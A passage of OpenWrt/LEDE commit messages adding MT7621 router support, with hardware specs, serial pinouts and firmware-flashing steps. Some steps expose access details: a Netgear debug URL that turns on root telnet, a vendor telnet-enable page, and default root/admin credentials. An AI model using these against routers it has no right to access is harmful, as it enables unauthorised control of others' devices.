Data Size: 1865917 Bytes = 1.8 MB
Load Address: 80001000
Entry Point: 80001000
Verifying Checksum ... OK
Uncompressing Kernel Image ... OK
raspi_erase_write: offs:f90000, count:34
.
.
Done!
Starting kernel ...
Flash instruction using factory image:
1. Connect the computer to the LAN port of WN-AX1167GR
2. Connect power cable to WN-AX1167GR and turn on it
3. Access to "192.168.0.1" on the web browser and open firmware
update page ("ファームウェア")
4. Select the OpenWrt factory image and perform firmware update
5. On the initramfs image, execute "mtd erase firmware" to erase stock
firmware and execute sysupgrade with sysupgrade image for WN-AX1167GR
6. Wait ~180 seconds to complete flasing
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
This commit adds support for the MikroTik RouterBOARD RBM11g.
=Hardware=
The RBM11g is a mt7621 based device featuring one GbE port and one
miniPCIe slot with a sim card socket and USB 2.0.
==Switch==
The single onboard Ethernet port is connected the CPU directly.
The internal switch of the mt7621 SoC is disabled.
==Flash==
The device has one spi nor flash chip. It is a 128 Mbit winbond 25Q128FVS
connected to CS0.
==PCIe==
The board features a single miniPCIe slot. It has a dedicated mini SIM
socket and a USB 2.0 port. Power to the miniPCIe slot is controlled via
GPIO9.
==USB==
There are no external USB ports.
==Power==
The board can accept both, passive PoE and external power via a 2.1 mm
barrel jack (center-positive). The input voltage range is 11-32 V.
==Serial port==
The device does have an onboard UART on an unpopulated header next to the
flash chip:
GND: pin 2
TX: pin 7
RX: pin 6
Settings: 115200, 8N1
See below illustration for positioning of the header.
0 = screw hole
* = some pin
T = TX pin
R = RX pin
G = GND pin
Pinout:
+---------------
|O
| __
| / \
| \__/
|
|
|
| +---+
| |RAM|
| +--+ | |
| |**| <- unpopulated header with UART
| |*T| +---+
| |R*| +--------+
| |**| | |
| |G*| | CPU |
| +--+ | |
| +--+ | |
| | | +--------+
| +--+ <- flash chip
|O
| +-----+
| | |
|+--+ | |
|| | | |
+---------------------
=Installation=
To install an OpenWRT image to the device two components must be built:
1. A openwrt initramfs image
2. A openwrt sysupgrade image
===initramfs & sysupgrade image===
Select target devices "Mikrotik RBM11G" in
openwrt menuconfig and build the images. This will create the images
"openwrt-ramips-mt7621-mikrotik_rbm11g-initramfs-kernel.bin" and
"openwrt-ramips-mt7621-mikrotik_rbm11g-squashfs-sysupgrade.bin" in the
output directory.
==Installing==
**Make sure to back up your RouterOS license in case you do ever want to
go back to RouterOS using "/system license output" and back up the
created license file.**
When rebooted the board will try booting via ethernet first. If your
board does not boot via ethernet automatically you will have to attach
to the serial port and set ethernet as boot device within RouterBOOT.
1. Set up a dhcp server that points the bootfile to tftp server serving
the "openwrt-ramips-mt7621-mikrotik_rbm11g-initramfs-kernel.bin"
initramfs image
2. Connect to ethernet port on board
3. Power on the board
4. Wait for OpenWrt to boot
Right now OpenWrt will be running with a SSH server listening. Now
OpenWrt must be flashed to the devices flash:
1. Copy "openwrt-ramips-mt7621-mikrotik_rbm11g-squashfs-sysupgrade.bin"
to the device using scp.
2. Write openwrt to flash using "sysupgrade
openwrt-ramips-mt7621-mikrotik_rbm11g-squashfs-sysupgrade.bin"
Once the flashing completes the board will reboot. Disconnect from the
devices ethernet port or stop the DHCP/TFTP server to prevent the device
from booting via ethernet again.
The device should now boot straight to OpenWrt.
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
Have mktplinkfw fill in the rootfs offset so the firmware splitter can
find it without aligning to erase blocks.
Signed-off-by: Alex Maclean <monkeh@monkeh.net>
This commit adds support for the Mikrotik RouterBOARD RBM33g.
=Hardware=
The RBM33g is a mt7621 based device featuring three gigabit ports, 2
miniPCIe slots with sim card sockets, 1 M.2 slot, 1 USB 3.0 port and a male
onboard RS-232 serial port. Additionally there are a lot of accessible
GPIO ports and additional buses like i2c, mdio, spi and uart.
==Switch==
The three Ethernet ports are all connected to the internal switch of the
mt7621 SoC:
port 0: Ethernet Port next to barrel jack with PoE printed on it
port 1: Innermost Ethernet Port on opposite side of RS-232 port
port 2: Outermost Ethernet Port on opposite side of RS-232 port
port 6: CPU
==Flash==
The device has two spi flash chips. The first flash chips is rather small
(512 kB), connected to CS0 by default and contains only the RouterBOOT
bootloader and some factory information (e.g. mac address).
The second chip has a size of 16 MB, is by default connected to CS1 and
contains the firmware image.
==PCIe==
The board features three PCIe-enabled slots. Two of them are miniPCIe
slots (PCIe0, PCIe1) and one is a M.2 (Key M) slot (PCIe2).
Each of the miniPCIe slots is connected to a dedicated mini SIM socket
on the back of the board.
Power to all three PCIe-enabled slots is controlled via GPIOs on the
mt7621 SoC:
PCIe0: GPIO9
PCIe1: GPIO10
PCIe2: GPIO11
==USB==
The board has one external USB 3.0 port at the rear. Additionally PCIe
port 0 has a permanently enabled USB interface. PCIe slot 1 shares its
USB interface with the rear USB port. Thus only either the rear USB port
or the USB interface of PCIe slot 1 can be active at the same time. The
jumper next to the rear USB port controls which one is active:
open: USB on PCIe 1 is active
closed: USB on rear USB port is active
==Power==
The board can accept both, passive PoE and external power via a 2.1 mm
barrel jack. The input voltage range is 11-32 V.
=Installation=
==Prerequisites==
A USB -> RS-232 Adapter and a null modem cable are required for
installation.
To install an OpenWRT image to the device two components must be built:
1. A openwrt initramfs image
2. A openwrt sysupgrade image
===initramfs & sysupgrade image===
Select target devices "Mikrotik RBM33G" in
openwrt menuconfig and build the images. This will create the images
"openwrt-ramips-mt7621-mikrotik_rbm33g-initramfs-kernel.bin" and
"openwrt-ramips-mt7621-mikrotik_rbm33g-squashfs-sysupgrade.bin" in the output
directory.
==Installing==
**Make sure to back up your RouterOS license in case you do ever want to
go back to RouterOS using "/system license output" and back up the created
license file.**
Serial settings: 115200 8N1
The installation is a two-step process. First the
"openwrt-ramips-mt7621-mikrotik_rbm33g-initramfs-kernel.bin" must be booted
via tftp:
1. Set up a dhcp server that points the bootfile to tftp server serving
the "openwrt-ramips-mt7621-mikrotik_rbm33g-initramfs-kernel.bin"
initramfs image
2. Connect to WAN port (left side, next to sys-LED and power indicator)
3. Connect to serial port of board
4. Power on board and enter RouterBOOT setup menu
5. Set boot device to "boot over ethernet"
6. Set boot protocol to "dhcp protocol" (can be omitted if DHCP server
allows dynamic bootp)
6. Save config
7. Wait for board to boot via Ethernet
On the serial port you should now be presented with the OpenWRT boot log.
The next steps will install OpenWRT persistently.
1. Copy "openwrt-ramips-mt7621-mikrotik_rbm33g-squashfs-sysupgrade.bin" to the device
using scp.
2. Write openwrt to flash using "sysupgrade
openwrt-ramips-mt7621-mikrotik_rbm33g-squashfs-sysupgrade.bin"
Once the flashing completes reboot the router and let it boot from flash.
It should boot straight to OpenWRT.
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
ELECOM WRC-1167GHBK2-S is a 2.4/5 GHz band 11ac router, based on
MediaTek MT7621A.
Specification:
- MT7621A (2-Cores, 4-Threads)
- 128 MB of RAM (DDR3)
- 16 MB of Flash (SPI)
- 2T2R 2.4/5 GHz
- MediaTek MT7615D
- 5x 10/100/1000 Mbps Ethernet
- 6x LEDs, 2x keys
- UART header on PCB
- Vcc, GND, TX, RX from ethernet port side
- baudrate: 57600 bps
Flash instruction using factory image:
1. Rename the factory image to "wrc-1167ghbk2-s_v0.00.bin"
2. Connect the computer to the LAN port of WRC-1167GHBK2-S
3. Connect power cable to WRC-1167GHBK2-S and turn on it
4. Access to "http://192.168.2.1/details.html" and open firmware
update page ("手動更新（アップデート）")
5. Select the factory image and click apply ("適用") button
6. Wait ~150 seconds to complete flashing
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Add wpad-mini if wireless drivers are included. Drop the mt76 package if
both of the provided drivers are included with their own packages.
Signed-off-by: Mathias Kresin <dev@kresin.me>
I-O DATA WN-GX300GR is a 2.4 GHz band 11n router, based on MediaTek
MT7621S.
Specification:
- MT7621S (1-Core, 2-Threads)
- 64 MB of RAM
- 8 MB of Flash (SPI)
- 2T2R 2.4 GHz
- 5x 10/100/1000 Mbps Ethernet
- 2x LEDs, 4x keys (2x buttons, 1x slide switch)
- UART header on PCB
- Vcc, GND, TX, RX from ethernet port side
- baudrate: 115200 bps (U-Boot, OpenWrt)
Flash instruction using initramfs image:
1. Connect serial cable to UART header
2. Rename OpenWrt initramfs image for WN-GX300GR to "uImageWN-GX300GR"
and place it in the TFTP directory
3. Set the IP address of the computer to 192.168.99.8, connect to the
LAN port of WN-GX300GR, and start the TFTP server on the computer
4. Connect power cable to WN-GX300GR and turn on the router
5. Press "1" key on the serial console to interrupt boot process on
U-Boot, press Enter key 3 times and start firmware download via TFTP
6. WN-GX300GR downloads initramfs image and boot with it
7. On the initramfs image, execute "mtd erase firmware" to erase stock
firmware and execute sysupgrade with sysupgrade image for WN-GX300GR
8. Wait ~150 seconds to complete flasing
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
This is a port of an old commit from mkresin's tree:
09260cdf3e9332978c2a474a58e93a6f2b55f4a8
This has the potential to break sysupgrade but it should be fine as
there is no stable release of LEDE or OpenWrt that support these devices.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Splitted out the dts file and create the new dts for the 256 MByte RAM and
the 512 MB RAM version.
Migrate both versions to the common board detection.
The install the 512 MByte Version on a board running the 256 MByte image,
a forceful sysupgrade with the -F flag is required.
Signed-off-by: Davide Ammirata <list@davidea.it>
YouHua tech WR1200JS is an AC1200 router with 5 1Gb ports (4 Lan, 1 Wan)
and 1 USB 2.0 port.
Devices is base on MediaTek MT7621AT + MT7603E + MT7612E.
Specification:
- MT7612AT (880 MHz)
- 128 MB of RAM
- 16 MB of FLASH (SPI NOR)
- 5x 10/100/1000 Mbps Ethernet
- 2T2R 2.4 GHz (MT7603E)
- 2T2R 5 GHz (MT7612E)
- 1x USB 2.0
- 10x LED (Power 2G 5G WPS Internet LAN4-1 USB)
- 3x button (reset wifi wps)
- DC jack for main power input (12V)
Installation:
1.) Press reset key 5 sec and restore the factory default
2.) Login webUI and change username to root and set a
new password
3.) Visit http://192.168.2.254/adm/telnetd.shtml and
turn on the telnet service
4.) Copy openwrt-ramips-mt7621-youhua_wr1200js-initramfs-kernel.bin
to a usb pan
5.) Plug the usb pan to the router, telnet to the router
and login by root
6.) cd /media/sda1 and check the initramfs file is there
7.) exec command:
mtd_write write openwrt-ramips-mt7621-youhua_wr1200js-initramfs-kernel.bin Kernel
8.) reboot and visit 192.168.1.1
Signed-off-by: Zheng Qian <sotux82@gmail.com>
This board has:
- mt7621 SoC
- 8MB SPI flash
- 128MB RAM
- 5x ethernet ports from internal (SoC) switch
- 1x ethernet port sitting on gmac2 and IC+ phy (not yet supported)
- 3x PCIe slots
- 1x USB 2.0 and 1x USB 3.0
- sound based on wm8960
- SDXC card slot (full size)
First fw write from interactive u-boot menu, interrupt with 2.
After that sysupgrade.
Tested both with 4.9 and 4.14
Signed-off-by: Roman Yeryomin <roman@advem.lv>
Use the generic board detection for the GnuBee Personal Cloud Two
instead of the target specific one as all recent additions are doing.
Fixup the pinmux to set all pins used as GPIO to the function GPIO.
Request pins where used.
Drop the i2c from the dts. There is nothing connected. While at it fix an
indentation issue and use references instead of duplicating the whole
node path.
Use the same switch config as for the GB-PC1 and drop the led trigger for
the not supported IP1001 phy connected to second rgmii.
Fixes: c60a21532b ("ramips: Add support for the GnuBee Personal Cloud Two")
Signed-off-by: Mathias Kresin <dev@kresin.me>
The GnuBee Personal Cloud Two crowdfunded on https://www.crowdsupply.com
It is a low-cost, low-power, network-attached storage device.
Specifications:
- SoC: MediaTek MT7621AT
- RAM: DDR3 512 MB
- Flash: 32 MB
- Six SATA ports for 3.5" Drives
- One SDcard
- One USB 3.0
- Two USB 2.0
- Gigabit Ethernet: Three Ports
- UART 3.5mm Audio Jack or 3 pin header - 57600 8N1
- Three GPIOs available on a pin header
Flash instructions:
The GnuBee Personal Cloud Two ships with libreCMC installed.
libreCMC is a Free Software Foundation approved fork of LEDE/OpenWrt.
As such one can upgrade using the webinterface or sysupgrade.
Das U-Boot has multiple options for recovery or updates including :
- USB
- http
- tftp
Errata:
- While there are three ethernet ports, the third requires support for
the second GMAC. This will come in kernel 4.14.
- The first hard drive slot has a clearance issue with the two fan
headers. Workaround is to pull the headers out and connect the pins to
jumper wires.
- Using this device as a NAS is problematic with the 4.9 kernel as many
/dev/sdX reads throw silent errors. The current theory behind this is
some kind of unhandled DMA mapping error in the kernel. This is not an
issue with kernel 4.4.
Signed-off-by: L. D. Pinney <ldpinney@gmail.com>
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Previously Newifi D2 could only use PandoraBox M1's firmware.
It works fine, but LED GPIO is different.
As a result, a separated DTS file for this device should be implemented.
Hardware spec:
* CPU: MTK MT7621A
* RAM: 512MB
* ROM: 32MB SPI Flash
* WiFi: MTK MT7603+MT7612
* Button: 2 buttons (reset, wps)
* LED: 3 single-color LEDs (USB, WiFi 2.4GHz, WiFi 5GHz) &
2 dual-color LEDs (Power, Internet)
* Ethernet: 5 ports, 4 LAN + 1 WAN
Installation method:
Same as Newifi D1, users may need to request unlock code from the device
manufacturer. Otherwise, a SPI flash programmer may be necessary to get
the firmware flashed. After the device is unlocked, press and hold reset
button before power cable plugs in. Then go to http://192.168.1.1 to
upload and flash the firmware package.
Signed-off-by: Jackson Ming Hu <huming2207@gmail.com>
Use <manufacturer>_<modelname> as image name for board using the
devicetree compat string as boardname.
Replace the underline of the device define, to keep the SUPPORTED_DEVICES
in sync with a devicetree compat string based boardname.
Override the default SUPPORTED_DEVICES for board which are having an
userspace boardname with an underline.
Signed-off-by: Mathias Kresin <dev@kresin.me>
This is a variant of the ZBT WG3526 with a few minor modifications.
The wifi chips are swapped, and there is no GPIO controllable status
LED. There is also no SATA port.
Specifications:
- MT7621AT (880 MHz)
- 512 MB RAM
- 16 MB Flash (SPI NOR)
- 5x 1Gbps Ethernet (built-in switch)
- MT7612E 802.11ac 5 GHz WLAN
- MT7603E 802.11n 2.4 GHz WLAN
Signed-off-by: Felix Fietkau <nbd@nbd.name>
UniElec U7621-06 is a router platform board based on MediaTek MT7621AT.
The device has the following specifications:
- MT7621AT (880 MHz)
- 256/512 MB of RAM (DDR3)
- 8/16/32/64 MB of FLASH (SPI NOR)
- 5x 1 Gbps Ethernet (MT7621 built-in switch)
- 1x ASMedia ASM1061 (for mSATA and SATA)
- 2x miniPCIe slots (PCIe bus only)
- 1x mSATA slot (with USB 2.0 bus for modem)
- 1x SATA
- 1x miniSIM slot
- 1x microSD slot
- 1x USB 3.0
- 12x LEDs (3 GPIO-controlled)
- 1x reset button
- 1x UART header (4-pins)
- 1x GPIO header (30-pins)
- 1x FPC connector for LEDs (20-pin, 0.5 mm pitch)
- 1x DC jack for main power (12 V)
The following has been tested and is working:
- Ethernet switch
- miniPCIe slots (tested with Wi-Fi cards)
- mSATA slot (tested with modem and mSATA drive)
- miniSIM slot
- sysupgrade
- reset button
- microSD slot
Installation:
This board might come with a different firmware versions (MediaTek SDK,
PandoraBox, Padavan, etc.). If your board comes with PandoraBox, you can
install LEDE using sysupgrade. Just SSH to the router and perform forced
sysupgrade (due to a board name mismatch). The default IP of this board
should be: 192.168.1.1 and username/password: root/admin. In case of a
different firmware, you can use web based recovery described below.
Use the following command to perform the sysupgrade (for the 256MB
RAM/16MB flash version):
sysupgrade -n -F lede-ramips-mt7621-u7621-06-256M-16M-squashfs-sysupgrade.bin
Recovery:
This board contains a Chinese, closed-source bootloader called Breed
(Boot and Recovery Environment for Embedded Devices). Breed supports web
recovery and to enter it, you keep the reset button pressed for around
5 seconds during boot. Your machine will be assigned an IP through DHCP
and the router will use IP address 192.168.1.1. The recovery website is
in Chinese, but is easy to use. Click on the second item in the list to
access the recovery page, then the second item on the next page is where
you select the firmware. In order to start the recovery, you click the
button at the bottom.
LEDs list (top row, left to right):
- LED_WWAN# (connected with pin 42 in LTE/mSATA slot)
- Power (connected directly to 3V3)
- CTS2_N (GPIO10, configured as "status" LED)
- TXD2 (GPIO11, configured as "led4", without default trigger)
- RXD2 (GPIO12, configured as "led5", without default trigger)
- LED_WLAN# (connected with pin 44 in wifi0 slot)
LEDs list (bottom row, left to right):
- ESW_P0_LED_0
- ESW_P1_LED_0
- ESW_P2_LED_0
- ESW_P3_LED_0
- ESW_P4_LED_0
- LED_WLAN# (connected with pin 44 in wifi1 slot)
Other notes:
1. The board is available with different amounts of RAM and flash. We
have only added support for the 256/16 MB configuration, as that seems
to be the default. However, all the required infrastructure is in place
for making support for the other configurations easy.
2. The manufacturer offers five different wireless cards with MediaTek
chipsets, based on MT76x2, MT7603 and MT7615. Images of the board all
show that the miniPCIe slots are dedicated to specific Wi-Fi cards.
However, the slots are generic.
3. All boards we got access to had the same EEPROM content. The default
firmware reads the Ethernet MAC from offset 0xe000 in factory partition.
This offset only contains 0xffs, so a random MAC will be generated on
every boot of the router. There is a valid MAC stored at offset 0xe006
and this MAC is shown as the WAN MAC in the bootloader. However, it is
the same on all boards we have checked. Based on information provided
by the vendor, all boards sold in small quantities are considered more
as samples for development purposes.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
This commit improves support for the Xiaomi Mi Router 3G originally
added in commit 6e283cdc0d
Improvements:
- Remove software watchdog as hardware watchdog now working as per
commit 3fbf3ab44f for all mt7621
devices.
- Reset button polarity corrected - length of press determines reboot
(short press) vs. reset to defaults (long press) behaviour.
- Enable GPIO amber switch port LEDs on board rear - lit indicates 1Gbit
link and blink on activity. Green LEDs driven directly by switch
indicating any link speed and tx activity.
- USB port power on/off GPIO exposed as 'usbpower'
- Add access to uboot environment settings for checking/setting uboot
boot order preference from user space.
Changes:
- Front LED indicator is physically made of independent Yellow/Amber,
Red & Blue LEDs combined via a plastic 'lightpipe' to a front panel
indicator, hence the colour behaviour is similar to an RGB LED. RGB
LEDs are not supported at this time because they produce colour results
that do not then match colour labels, e.g. enabling 'mir3g:red' and
'mir3g:blue' would result in a purple indicator and we have no such
label for purple.
The yellow, red & blue LEDs have been split out as individual yellow,
red & blue status LEDs, with yellow being the default status LED as
before and with red's WAN and blue's USB default associations removed.
- Swapped order of vlan interfaces (eth0.1 & eth0.2) to match stock vlan
layout. eth0.1 is LAN, eth0.2 is WAN
- Add 'lwlll' vlan layout to mt7530 switch driver to prevent packet
leakage between kernel switch init and uci swconfig
uboot behaviour & system 'recovery'
uboot expects to find bootable kernels at nand addresses 0x200000 &
0x600000 known by uboot as "system 1" and "system 2" respectively.
uboot chooses which system to hand control to based on 3 environment
variables: flag_last_success, flag_try_sys1_failed & flag_try_sys2_failed
last_success represents a preference for a particular system and is set
to 0 for system 1, set to 1 for system 2. last_success is considered *if*
and only if both try_sys'n'_failed flags are 0 (ie. unset) If *either*
failed flags are set then uboot will attempt to hand control to the
non failed system. If both failed flags are set then uboot will check
the uImage CRC of system 1 and hand control to it if ok. If the uImage
CRC of system is not ok, uboot will hand control to system 2
irrespective of system 2's uImage CRC.
NOTE: uboot only ever sets failed flags, it *never* clears them. uboot
sets a system's failed flag if that system's was selected for boot but
the uImage CRC is incorrect.
Fortunately with serial console access, uboot provides the ability to
boot an initramfs image transferred via tftp, similarly an image may
be flashed to nand however it will flash to *both* kernels so a backup
of stock kernel image is suggested. Note that the suggested install
procedure below set's system 1's failed flag (stock) thus uboot ignores
the last_success preference and boots LEDE located in system 2.
Considerable thought has gone into whether LEDE should replace both
kernels, only one (and which one) etc. LEDE kernels do not include a
minimal rootfs and thus unlike the stock kernel cannot include a
method of controlling uboot environment variables in the event of
rootfs mount failure. Similarly uboot fails to provide an external
mechanism for indicating boot system failure.
Installation - from stock.
Installation through telnet/ssh:
- copy lede-ramips-mt7621-mir3g-squashfs-kernel1.bin and
lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin to usb disk or wget it
from LEDE download site to /tmp
- switch to /extdisks/sda1/ (if copied to USB drive) or to /tmp if
wgetted from LEDE download site
- run: mtd write lede-ramips-mt7621-mir3g-squashfs-kernel1.bin kernel1
- run: mtd write lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin rootfs0
- run: nvram set flag_try_sys1_failed=1
- run: nvram commit
- run: reboot
Recovery - to stock.
Assuming you used the above installation instructions you will have a
stock kernel image in system 1. If it can be booted then it may be used
to perform a stock firmware recovery, thus erasing LEDE completely. From
a 'working' LEDE state (even failsafe)
Failsafe only:
- run: mount_root
- run: sh /etc/uci-defaults/30_uboot-envtools
Then do the steps for 'All'
All:
- run: fw_setenv flag_try_sys2_failed 1
- run: reboot
The board will reboot into system 1 (stock basic kernel) and wait with
system red light slowly blinking for a FAT formatted usb stick with a
recovery image to be inserted. Press and hold the reset button for
around 1 second. Status LED will turn yellow during recovery and blue
when recovery complete.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This commit adds support for Xiaomi Mi WiFi Router 3G.
Short specification:
- MT7621AT + MT7603EN + 7612EN
- 256MB DDR3 RAM
- 128MB NAND flash
- 1+2 x 1000M Ethernet
- 1x USB 3.0 port
- reset button
- yellow, blue, red leds
Installation through telnet/ssh:
- copy lede-ramips-mt7621-mir3g-squashfs-kernel1.bin and
lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin to usb disk or wget it
from LEDE download site to /tmp
- switch to /extdisks/sda1/ (if copied to USB drive) or to /tmp if
wgetted from LEDE download site
- run: mtd write lede-ramips-mt7621-mir3g-squashfs-kernel1.bin kernel1
- run: mtd write lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin rootfs0
- run: mtd erase kernel0
- run: reboot
Originally stock firmware has following partitions:
- ...
- kernel0 (primary kernel image)
- kernel1 (secondary kernel image, used by u-boot in failsafe routine)
- rootfs0 (primary rootfs)
- rootfs1 (secondary rootfs in case primary fails)
- overlay (used as ubi overlay)
This commit squashes rootfs0, rootfs1 and overlay partitions into 1, so
it can be used by LEDE fully for package installation, resulting in 117,5MiB.
This device lacks hw watchdog, so adding softdog instead (stock does the same).
Signed-off-by: Pavel Kubelun <be.dissent@gmail.com>
The GnuBee Personal Cloud One crowdfunded on https://www.crowdsupply.com
It is a low-cost, low-power, network-attached storage device.
Specifications:
- SoC: MediaTek MT7621AT
- RAM: DDR3 512 MB
- Flash: 32 MB
- Six SATA ports for 2.5" Drives
- One micro SDcard
- One USB 3.0
- Two USB 2.0
- Gigabit Ethernet: 1 x WAN and 1 x LAN
- UART 3.5mm Audio Jack or 3 pin header - 57600 8N1
- Four GPIOs available on a pin header
Flash instructions:
The GnuBee Personal Cloud One ships with libreCMC installed.
libreCMC is a Free Software Foundation approved fork of LEDE/OpenWrt.
As such one can upgrade using the webinterface or sysupgrade.
Das U-Boot has multiple options for recovery or updates including :
- USB
- http
- tftp
Signed-off-by: L. D. Pinney <ldpinney@gmail.com>
[use switchdev led trigger, all interfaces are in vlan1; rename leds
according to board.d setting; remove ge2 group from the pinmux, this
group doesn't exist in the driver]
Signed-off-by: Mathias Kresin <dev@kresin.me>
The TP-Link RE350 is a wall-wart AC1200 range extender/access point with
a single gigabit ethernet port and two non-detachable antennas, based on
the MT7621A SoC with MT7603E and MT7612E radios.
Firmware wise it is very similar to the QCA based RE450.
SoC: MediaTek MT7621A (880MHz)
Flash: 8MiB (Winbond W25Q64)
RAM: 64MiB (DDR2)
Ethernet: 1x 1Gbit
Wireless: 2T2R 2.4Ghz (MT7603E) and 5GHz (MT7612E)
LEDs: Power, 2.4G, 5G (blue), WPS (red and blue), ethernet link/act
(green)
Buttons: On/off, LED, reset, WPS
Serial header at J1, 57600 8n1:
Pin 1 TX
Pin 2 RX
Pin 3 GND
Pin 4 3.3V
Factory image can be uploaded directly through the stock UI.
Signed-off-by: Alex Maclean <monkeh@monkeh.net>
It uses one MT7615D radio chip with DBDC mode enabled. This mode allows
this single chip act as an 2x2 11n radio and an 2x2 11ac radio at the
same time. However mt76 doesn't support it currently so there is no
wireless available.
Specification:
- SoC: MediaTek MT7621AT
- Flash: 16 MB
- RAM: 128 MB
- Ethernet: 1 x WAN (10/100/1000Mbps) and 4 x LAN (10/100/1000 Mbps)
- Wireless radio: MT7615D on PCIE0
- UART: 1 x UART on PCB - 57600 8N1
Issue:
- Wireless radio doesn't work due to the lack of driver.
Flash instruction:
Using UART:
1. Configure PC with a static IP address and setup an TFTP server.
2. Put the firmware into the tftp directory.
3. Connect the UART line as described on the PCB.
4. Power up the device and press 2,then follow the instruction to
set device and tftp server IP address and input the firmware
file name.U-boot will then load the firmware and write it into
the flash.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Most of the ubnt-erx definition can be reused; the package removals in
DEVICE_PACKAGES have become redundant after d17cb4a68a "ramips: purge
default packages on MT7621".
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
This patch adds support for the Ubiquiti EdgeRouter X-SFP and
improves support for the EdgeRouter X (PoE-passthrough).
Specification:
- SoC: MediaTek MT7621AT
- Flash: 256 MiB
- RAM: 265 MiB
- Ethernet: 5 x LAN (1000 Mbps)
- UART: 1 x UART on PCB (3.3V, RX, TX, GND) - 57600 8N1
- EdgeRouter X:
- 1 x PoE-Passtrough (Eth4)
- powered by Wallwart or passive PoE
- EdgeRouter X-SFP:
- 5 x PoE-Out (24V, passive)
- 1 x SFP (unknown status)
- powered by Wallwart (24V)
Doesn't work:
* SoC has crypto engine but no open driver.
* SoC has nat acceleration, but no open driver.
* This router has 2MB spi flash soldered in but MT
nand/spi drivers do not support pin sharing,
so it is not accessable and disabled. Stock
firmware could read it and it was empty.
Installation
via vendor firmware:
- build an Initrd-image (> 3MiB) and upload the factory-image
- initrd can have luci-mod-failsafe
- flash final firmware via LuCI / sysupgrade on rebooted system
via TFTP:
- stop uboot into tftp-load into option "1"
- upload factory.bin image
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
In order to have a smaller initramfs image remove all packages not
needed on all devices and add them explicitely for those actually
needing them. Also remove wpad-mini from ramips default package set
and add it to all sub-targets except for MT7621.
While at it reorder packages alphabetically and replace kmod-mt76 with
kmod-mt7603 and/or kmod-mt76x2 depending on the chip actually used on
a specific board.
Hopefully fixes FS#758
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The Digineo AC1200 Pro is the 32MB flash variant of the ZBT-WG3526 with
unpopulated/exposed sdhci slot. Rename to board to the OEM/ODM name and
add the sdhci kernel module to use it for multiple clones.
Signed-off-by: Mathias Kresin <dev@kresin.me>
The ZBT-WG3526 is available with 16 or 32 MByte of flash. Rename the
current supported 16MByte version to indicate which flash size variant
is supported.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Specification:
- SoC: MT7621AT, MT7603EN and MT7612EN
- Flash: 16 MiB (W25Q128FVSG)
- RAM: 512 MiB (EM6GE16EWXD-12H)
- Ethernet: 1 x WAN (10/100/1000Mbps) and 4 x LAN (10/100/1000 Mbps)
- Others: USB 2.0, micro SD slot, reset button and 8 x LEDs
Issues:
- Two LEDs for 2.4 GHz and 5 GHz Wi-Fi do not work, can't find GPIOs.
- The pwr LED is not GPIO controllable
How to install:
- The original firmware is OpenWrt, so both LuCI or sysupgrade can be used.
- Do not keep settings, for sysupgrade please use the -n option.
Signed-off-by: Jiawei Wang <buaawjw@gmail.com>
The Netgear R6220 requires the kmod-usb3 package and misses
kmod-usb-ledtrig-usbport package to setup the configured usb led
trigger.
Drop the already target selected kmod-mt76.
Fixes: FS#686
Fixes: 38bee61dab ("ramips: add support for Netgear R6220")
Signed-off-by: Mathias Kresin <dev@kresin.me>
This patch adds support for the Netgear R6220, aka Netgear AC1200 and
R6220-100NAS.
Specification:
- SoC: MediaTek MT7621ST (880 MHz)
- Falsh: 128 MiB (Macronix MX30LF1G08AA-TI)
- RAM: 128 MiB (Nanya NT5CB64M16FP-DH)
- Wireless: MediaTek MT7603EN b/g/n , MediaTek MT7612EN an+ac
- LAN speed: 10/100/1000
- LAN ports: 4
- WAN speed: 10/100/1000
- WAN ports: 1
- Serial baud rate of Bootloader and factory firmware: 57600
Installation through telnet:
- Copy kernel.bin and rootfs.bin to a USB flash disk, plug to usb port
on the router.
- Enable telnet with link: http://192.168.1.1/setup.cgi?todo=debug
(login if required, default: admin password)
- You will see "Debug Enabled!"
- Telnet 192.168.1.1 and login with "root"
- ls /mnt/shares/ to find out path of your USB disk. 'myUdisk' for
example.
- cd /mnt/shares/myUdisk
- mtd_write write rootfs.bin Rootfs
- mtd_write write kernel.bin Kernel
- reboot
nmrpflash can be used to recover to the netgear firmware if a broken
image was flashed.
Signed-off-by: Hanqing Wong <hquu@outlook.com>
This device features both a 2.4 and 5Ghz radio, and supports
802.11a/b/g/n/ac modes.
It has 5 Gb-Ethernet ports and a USB 3.0 host port.
It is powered by the Mediatek MT7621 SoC, and the MT7602E and MT7612E wifi
chipsets, together with 128MB of RAM and 16 MB of SPI Flash.
The stock firmware is in fact based on some openwrt barrier breaker, with a
mediatek SDK kernel, and an afoundry custom made web interface (not LuCI
based).
Firmware update page on the stock web interface can not accept sysupgrade
images, it bricks the device.
At this point, the only working solution I found was to connect to the
serial console port (available on J4 header) and to use opkg to install
dropbear.
Then scp the sysupgrade file in the device's /tmp and run sysupgrade from
console without preserving configuration files.
Signed-off-by: Francois Goudal <francois@goudal.net>
This patch adds supports for the HiWiFi HC5962(gee4) http://www.hiwifi.com
Short specification:
- MT7621AT + MT7612EN + 7603EN
- 256MB DDR3 RAM
- 128MB NAND flash
- 1+3 x 1000M Ethernet
- 1x USB 2.0 port. 1x USB 3.0 port.
- reset button
- UART pad on PCB (JP3: TX, RX, GND, 3.3V)
Flash instruction:
1, Download lede-ramips-mt7621-hc5962-squashfs-factory.bin
2, Login as root via SSH on 192.168.199.1 and then copy factory.bin(using wget or nc or...) to /tmp/
3, use the following commands:
$ mtd write /tmp/lede-ramips-mt7621-hc5962-squashfs-factory.bin firmware
